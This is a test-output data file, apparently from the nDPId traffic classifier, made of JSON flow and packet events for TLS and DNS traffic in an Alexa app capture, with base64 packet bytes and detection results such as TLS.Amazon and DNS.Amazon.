+00444{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":754217,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8+KpAAEAGE3KsECrYIsc08JXcAbvRHbWkAAAAAKAC\/\/+tAQAAAgQFtAQCCAoA9k0OAAAAAAEDAwg="} +00442{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":803932,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAOoGYhwixzTwrBAq2AG7ldw4CtRs0R21paASaN+cagAAAgQFtAQCCApEF1cYAPZNDgEDAwg="} +00430{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":807519,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0+KtAAEAGE3msECrYIsc08JXcAbvRHbWlOArUbYAQAVcyugAAAQEICgD2TRREF1cY"} +00782{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":809016,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"AMDKkaPvePiC0\/vCCABFAAE4+KxAAEAGEnSsECrYIsc08JXcAbvRHbWlOArUbYAYAVfzMQAAAQEICgD2TRREF1cYFgMBAP8BAAD7AwMVuDHoPIxY5YbdWtXfttgnszJ6dj3kr1us3m0FTwAhaSCuITFLxCcAmkxVA5xh9l9LJAIe6ginKsjl8g3o3EcTxQAgGhrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACSOjoAAP8BAAEAAAAALQArAAAoY29nbml0by1pZGVudGl0eS51cy1lYXN0LTEuYW1hem9uYXdzLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACLq6AB0AFwAY6uoAAQA="} +00758{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":185,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1490976037754,"flow_last_seen":1490976037809,"flow_tot_l4_data_len":404,"flow_min_l4_data_len":32,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":101,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38364,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00430{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":919951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0g1VAAOoG3s4ixzTwrBAq2AG7ldw4CtRt0R22qYAQAHcydQAAAQEICkQXVzkA9k0U"} +00631{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":920091,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"ePiC0\/vCAMDKkVoBCABFAADFg1ZAAOoG3jwixzTwrBAq2AG7ldw4CtRt0R22qYAYAHciBwAAAQEICkQXVzkA9k0UFgMDAFkCAABVAwM1Z0I3hU8\/U5RQe3Z00c0obd2iFFa8QOesy4Iwo9B3hyCuITFLxCcAmkxVA5xh9l9LJAIe6ginKsjl8g3o3EcTxcAvAAAN\/wEAAQAACwAEAwABAhQDAwABARYDAwAoHdMKptQnk8A3bs848dNLbLMTjoBCy7OmsLLWnBReSU837AUN6aAoNg=="} +00812{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":187,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1490976037754,"flow_last_seen":1490976037920,"flow_tot_l4_data_len":613,"flow_min_l4_data_len":32,"flow_max_l4_data_len":292,"flow_avg_l4_data_len":102,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"34.199.52.240","src_port":38364,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cognito-identity.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00431{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":921465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0+K1AAEAGE3esECrYIsc08JXcAbvRHbapOArU\/oAQAVsw9AAAAQEICgD2TSBEF1c5"} +00501{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":922485,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"AMDKkaPvePiC0\/vCCABFAABn+K5AAEAGE0OsECrYIsc08JXcAbvRHbapOArU\/oAYAVsZFwAAAQEICgD2TSBEF1c5FAMDAAEBFgMDACgAAAAAAAAAADqIrS+IxAYMd3f9R8MMx7aKyuOPjPbmgk1vO7jUBOWy"} +01639{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976037,"pkt_ts_usec":950333,"pkt_caplen":950,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":950,"pkt_l4_len":916,"pkt":"AMDKkaPvePiC0\/vCCABFAAOo+K9AAEAGEAGsECrYIsc08JXcAbvRHbbcOArU\/oAYAVtTGAAAAQEICgD2TSJEF1c5FwMDA28AAAAAAAAAAX4iKOWaOYzEWjVC12xtgVX5tL7v\/xFudEeQfoO4Lb4n\/bgNL2oMTQpmJ7qfaTR3s6cfGkREyWmf3M6mDyJofCoPMkAWe2RmmUctPEr5Rih9UDp72zW82PtVvWHXMdantdQThrSpUTj8VlQzeeM1J\/Gev8LqIMngfgW1YJiczv1VRI2HfIyHDaABBA4r+k9fR3ao0HuXY4xRgd3Z4q2O137N+y161UOf616LmotS7OtrpIKNgVGWxUdJr\/1kQoHvg9fjP3bkyO05tjP8EoTKeY+J4BHCd\/Ka\/1YfkEGj2dsoLwML4pWgKeLNxb8nwdCvXP2pOMhGypmku1Pg9UmpfcsUv4tfETty\/N5fSreFe7UrJY4OxxvVKPs1FAJeefSqNbcXax27jq87iz1zUF7wj\/H9yzqZX5UzOFs+YrilSviPhYKuRO9y3wrNG7mTIWUGwD+dkbilAVXIigaIxv4gOm1HxCPol9MGXwyvGOuvk+bMZhzyW9WhsGY\/e8fW2TKgKXbXZV3V1\/uxAV5y7Kq0Vgd2GXpy\/aTnB4zwzE50sj+V5AXERE\/fr31kuUPjOB7MovP0gKHGKIZNghKvKDY0Vocs1IfISPsf3XGAtn0Xq1konIhr12zKXMpfMLBc2NTSSEa5X5UdT633g3ZfMnQ2rPgiIVj6Y9GiaAm6\/8A5DoLi\/5Fvdn+vPJroJbpTp091xEW+vVGqimvyKmn1f5trWvQIEyL3ICaRihUwQ1Z+IDjK0GaEo+nSl2PbWuC+jLb82xXQeJl7iq8wnffZMD\/vEw1m\/ZECbmsWZAsaG6CnQCf4\/rh6bx1Wk5yZLoFjLjpVVR8oZFCcw6BFFtRn7HxivuK5yf8I0+NqNI7PkAe4RWTZAqtmzL8TxDM9SdlJZOllg5KlwIjHQuiHWSdWeC96zC\/9rhaV615\/SHGnFFjMbASsdmBtUFohK1f1A\/dIu2q+RzAYfPB2SlvRLPPhiPFPndgEV8mc+EyoD2kVSgRk+4Hcw\/ode3ltXpqKoHIq6VzaOrxeWXWljggJ5ZLxuTVmCL\/OQMVv562X\/eMZKM13gZzwxFyLjj+jPu+TbHzoBA2x3SRQqOeFFFmAbjLQ6y8Ip6bY18cFrYgQbP3O3cF+T6BXDZ\/9jpoHGQbkZoullE\/MqQ5CXjrQe1w="} +00429{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976038,"pkt_ts_usec":1664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0g1dAAOoG3swixzTwrBAq2AG7ldw4CtT+0R26UIAQAH4uFgAAAQEICkQXV00A9k0g"} +02399{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976038,"pkt_ts_usec":46875,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcg1hAAOoG2SMixzTwrBAq2AG7ldw4CtT+0R26UIAQAH79hQAAAQEICkQXV1kA9k0gFwMDB6cd0wqm1CeTwfY\/6JqyyzHrmdsLSnyZzhOSfv2LsdCUUJnNTH+XPQKbBQ2tvAu7r6dyvvutFzfqhbkSygyg\/\/GKW7cGxYQbVw3MEjWtUM4Tum2FLNieBczvn6QouNW2wKC1WQb5sLqraXSOx+eeoiYVpDRUT92wi\/u\/QRxNxJQo95Xtxr\/kxVR1HMnbkc9VfJzNnc3K6w3BqdNUjZVcmRXyUDZtiDGh0vZKgdt\/PLINAih82YlEWsB0TRlnlTziQhbMrcmmoQODK7WzmHD13Apo6iKSNRH\/x37EsC044TvxijZIxkY7ctmTWRYq42FcEGQ51NRYBU3X4bchK5koWAonemhAy9RvS65SrMEEXZPsQ2iWd\/swlNigEa2xo8rDQvQWov7kNOQwmdiIJg7H9CRV\/npyNDRqnxgMPvEj\/aDDNX5ZNl+xIKvu9Ae11jSHPSF+ireIzar4KYAFMHmORkdvpkdw35eyfvfEUlITxgA0TS\/Y9XhDniO76SEvgYUOfIRWymr19vkxXOQDjBINkQwc+ddrk7d68pb\/lNNhJX13mBVP6QhjQug5eIx9aeB+hqMysKpCHEwtPMiBaxwIFVuPUvjJxTgtKP8MusIAv7mg1S0CYeSfgXFEznAUIdPc3\/JH0C\/mY3U1eh\/xLpHxiJFMZjDTi3P0EE\/wdQu9b1v1qvkCGsJ18uEQpIglMuT8unuToP7qaNNdk+AKwIrkMjhlEk+1WqFY3pvKXQCQLQP\/Y09z89oTE3N8bHBw+70ZO127chGl\/FUea7RreUPTa8zphcyHpbytMJGVehOYJiLxwyvpzFqR47VjKr069k5Q8LVXjOb7R31sxrkh6EpS374GRtdobeFV0ktgHbC8m8xEmgil0wdYPzXm3zhkifuiavWmayn8ub1xcJa2bZslHQ5OVRb3And8Nrxk0Lribup6zZmy922AZSubnydPsNUoefNKBPczwT\/fpLHYQARM691wIOC+RKKp8WHWa7eKhljlZlHl48LgxMPlDW9Qy7JRArW1M3mkKjULx1dB2oNduDkt5WbRvNwoVm2pq2W5kzMTzdg2Nzuz8OlkVl2r2HL1i\/rzlan9TLLYDjiNz48ymhbvpwjmbigcDScJlTbjrAZ1lfB7KNEhOig0QNVfgi5\/z8Yazd9waUNKBYf8TS\/g30wRT0axvgTRDT9EVXjOEF1NfqjoaXoizF4zpd0SQrm\/\/C\/17bMXjOSwNTmKM7pjDTRhLOefj61jt2MZmlqZb8QpZVOVLFIO4FgbzOY4fGnjC1S2E2Hwr6pV+N74S1PC5OoOAV+WIarQ3TYnVhaYlC8KKf2WJDI4bLFkQtp2lgc+l7nUlcdt6DAjMWj5nTY97dl0NBtDqogxxjZ4zwVjQUaJFihzj8t8tOgJDPAVkcQMZ+q9wjhC7hQby5uw0hjwUO8Vjns5a8i3ChK4QTcyLJb17rfxmlYY7Tz024CJNtcR1NHjFrop8P9WbwAZpoEsOQ74RfUB6tnR8GF3\/WNigdqjMafx6\/nP1ZQDfUfwVCe6tALPsI44GibGmri5gPf+FClyufHY+FfwuQoTneiGFEw1BKs5D5GV4Wxsj3eRlkUPx+zCUAJFFZcODgT2PNbt+9xG5jFW4ZGn9bg0UjLcG4XsX396srOOxOgZ+qdU1M2GWJ7WGcnrI1W2XNrW5KP\/VJImR9+BGs8\/SXIkZ5PU6+U5hc1S4rMBOuXqrVIG+ofg3zinxUjO4JWC8Uru1W3YWs15IHEQ7yb4eVlvrvkUms3zifNeI43JEVoNpm+TDY6d4SPFpvyk5cOM5kJNGGfCvV7KXaUooWS1RxdXtKkbASn06nIT0KCWh98PPpMpU3bPNwPp3L37+nPipTCC+i+yfZ1sbdbHZZa\/uBZHOjvQJov+uxBK42jVedFpFU0q8F8EKdAvhF8="} +01129{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976038,"pkt_ts_usec":47022,"pkt_caplen":582,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":582,"pkt_l4_len":548,"pkt":"ePiC0\/vCAMDKkVoBCABFAAI4g1lAAOoG3MYixzTwrBAq2AG7ldw4Ctqm0R26UIAYAH70UAAAAQEICkQXV1kA9k0gccx9r2ACg3Up0sx19Ck4Ty5UJP67\/vfpvGVCcHiOr8RwlVlfJM8T6YpWKaRU00yurVRjjCp4M5NNGc8XKTk8ZmNsAxvJp+d37naVPUwdktMDNzy68j3yOj2otTs6zSSrL6DeqxTW91SSWhXqOWOnQo3vMcEOhAFIz8+AO3EdxeouTvpz7CSNBYWzB5gH7oceADKTgQlrTtKW8E9VYsCI4YBPJHj7o6GxQKsQ+by7yP+UGWBlP6Bz6peBnanF5rIQWoJ7ig23OqChTdexeDSU9HE5lbl6ID6rDi8dQhnenUGZjMOEQ4G0RkxiGI1K2BhLaF\/nvfzCvscmyMaE4odOv1yTR2INpLvAUBK1Dx0AmYKHdF\/vUneBKy\/TXVhCzUT8sciFi3Fj+CpyLD7q4krOh57m2N6PuOe6JpMsP0drWP1K\/SOkj+PwMWaV8kUaadPXrqv2LZi9+pqbxESwJKesPstp8M2H+euAkR5fUMJe1rQjWPSQNtc\/7iI3xNZhDCNt7vFnwBUHSvgydL78m+Yn4lVYIXU\/5QrJrm1ukuH0jekf8Be5tPsj+CosnDhQE5pWtsY2PsgEw+fg\/gqhD547gOxY3DLLroSzCHZbH4lucuNvhzARKIWePfTfECFXgXm9HtJiuRnZXzRQqxRAkuLQxQsjamMK+Wbxwurv3h4DQsEfYfHQ"} +00430{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976038,"pkt_ts_usec":48809,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0+LBAAEAGE3SsECrYIsc08JXcAbvRHbpQOArcqoAQAXElXwAAAQEICgD2TSxEF1dZ"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":195,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1490976041150,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":54886,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":150466,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AMDKkaPvePiC0\/vCCABFAABBWlNAAEARM1+sECrYrBAqAdZmADUALY4\/ocgBAAABAAAAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAQ=="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":195,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1490976041150,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":54886,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":151487,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ePiC0\/vCAMDKkaPvCABFAABR0jdAAEARu2qsECoBrBAq2AA11mYAPRDBociBgAABAAEAAAAACHBpdGFuZ3VpBmFtYXpvbgNjb20AAAEAAcAMAAEAAQAAAAUABDRe6IY="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":196,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_first_seen":1490976041150,"flow_last_seen":1490976041151,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":54886,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"pitangui.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.94.232.134"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1490976041156,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45661,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":156517,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8TnBAAEAG+H6sECrYNF7ohrJdAbvhYQATAAAAAKAC\/\/9vSwAAAgQFtAQCCAoA9k5jAAAAAAEDAwg="} +00427{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":212203,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwBzRAAOcGmMY0XuiGrBAq2AG7sl2f4NcN4WEAFHASH\/5jwQAAAgQFtAEDAwY="} +00414{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":215822,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTnFAAEAG+JGsECrYNF7ohrJdAbvhYQAUn+DXDlAQAVeuMgAA"} +00696{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":217250,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3TnJAAEAG98GsECrYNF7ohrJdAbvhYQAUn+DXDlAYAVcoRwAAFgMBAMoBAADGAwO\/f09SaeVtExBhd3Gv\/ERXGLhlRtygdI3ZdlzQ0IY6FAAAILq6zKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfUpKAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAh6egAdABcAGFpaAAEA"} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":200,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":28,"flow_packet_id":4,"flow_first_seen":1490976041156,"flow_last_seen":1490976041217,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45661,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02380{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976041,"pkt_ts_usec":278804,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcCfVAAOcGkFk0XuiGrBAq2AG7sl2f4NcO4WEA41AYf\/nzkwAAFgMBDLwCAABGAwFY3n0prRqzn+uUe7J2SGc9ycgvCdlpITNiR\/tB85Rx3CCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} 